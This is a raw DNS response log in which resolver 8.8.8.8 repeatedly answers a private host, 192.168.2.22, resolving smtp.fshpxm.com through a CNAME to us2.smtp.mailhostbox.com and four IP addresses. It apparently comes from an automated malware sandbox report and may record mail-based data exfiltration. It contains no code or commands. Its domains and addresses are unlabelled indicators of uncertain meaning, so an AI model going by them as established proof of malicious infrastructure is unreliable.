Apr 18, 2024 10:24:40.690351009 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.690351009 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.690351009 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.690351009 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.796732903 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:40.796732903 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.796732903 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.796732903 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.796732903 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.196376085 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:43.196376085 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.196376085 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.196376085 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.196376085 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.301039934 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:43.301039934 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.301039934 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.301039934 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.301039934 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.408520937 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:43.408520937 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.408520937 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.408520937 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.408520937 CEST	8.8.8.8	192.168.2.22	0xe539	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.520600080 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:43.520600080 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.520600080 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.520600080 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.520600080 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.625996113 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:43.625996113 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.625996113 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.625996113 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.625996113 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.731477022 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:43.731477022 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.731477022 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.731477022 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.731477022 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.836400032 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:43.836400032 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.836400032 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.836400032 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.836400032 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.941601992 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:43.941601992 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.941601992 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.941601992 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.941601992 CEST	8.8.8.8	192.168.2.22	0xaa71	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.355560064 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:45.355560064 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.355560064 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.355560064 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.355560064 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.461114883 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:45.461114883 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.461114883 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.461114883 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.461114883 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.566086054 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:45.566086054 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.566086054 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.566086054 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.566086054 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.671073914 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:45.671073914 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.671073914 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.671073914 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.671073914 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.776412964 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:45.776412964 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.776412964 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.776412964 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.776412964 CEST	8.8.8.8	192.168.2.22	0xcba8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.173156977 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.173156977 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.173156977 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.173156977 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.173156977 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.192960978 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.192960978 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.192960978 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.192960978 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.192960978 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.277684927 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.277684927 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.277684927 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.277684927 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.277684927 CEST	8.8.8.8	192.168.2.22	0xb268	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.298033953 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.298033953 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.298033953 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.298033953 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.298033953 CEST	8.8.8.8	192.168.2.22	0x9cf6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.389483929 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.389483929 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.389483929 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.389483929 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.389483929 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.404927015 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.404927015 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.404927015 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.404927015 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.404927015 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.494925976 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.494925976 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.494925976 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.494925976 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.494925976 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.509583950 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.509583950 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.509583950 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.509583950 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.509583950 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.600137949 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.600137949 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.600137949 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.600137949 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.600137949 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.614639997 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.614639997 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.614639997 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.614639997 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.614639997 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.705135107 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.705135107 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.705135107 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.705135107 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.705135107 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.719130039 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.719130039 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.719130039 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.719130039 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.719130039 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.810014963 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.810014963 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.810014963 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.810014963 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.810014963 CEST	8.8.8.8	192.168.2.22	0xce28	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.824213028 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:48.824213028 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.824213028 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.824213028 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.824213028 CEST	8.8.8.8	192.168.2.22	0x46b6	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.102999926 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:56.102999926 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.102999926 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.102999926 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.102999926 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.208812952 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:56.208812952 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.208812952 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.208812952 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.208812952 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.314011097 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:56.314011097 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.314011097 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
